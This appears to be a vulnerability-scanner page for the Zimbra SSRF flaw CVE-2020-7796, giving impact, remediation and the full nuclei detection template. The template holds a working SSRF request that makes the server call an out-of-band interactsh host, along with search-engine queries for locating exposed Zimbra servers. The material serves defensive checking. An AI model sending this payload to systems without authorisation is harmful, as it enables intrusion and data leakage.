Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2026-02-17; known to be used by ransomware.

criticalseverity

9.8CVSS score

93.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 is susceptible to server-side request forgery when WebEx zimlet is installed and zimlet JSP is enabled.

Impact

Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access or data leakage.

Fix

Apply the latest patch or upgrade to Zimbra Collaboration Suite version 8.8.15 Patch 7 or higher to mitigate this vulnerability.

How to confirm it

Send: GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-7796 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-7796

info:
  name: Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery
  author: gy741
  severity: critical
  description: Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 is susceptible to server-side request forgery when WebEx zimlet is installed and zimlet JSP is enabled.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest patch or upgrade to Zimbra Collaboration Suite version 8.8.15 Patch 7 or higher to mitigate this vulnerability.
  reference:
    - https://www.adminxe.com/2183.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7796
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7796
    cwe-id: CWE-918
    epss-score: 0.93592
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
    google-query:
      - intitle:"zimbra collaboration suite"
      - intitle:"zimbra web client sign in"
  tags: cve,cve2020,zimbra,ssrf,oast,synacor,vkev,vuln,kev

http:
  - raw:
      - |
        GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from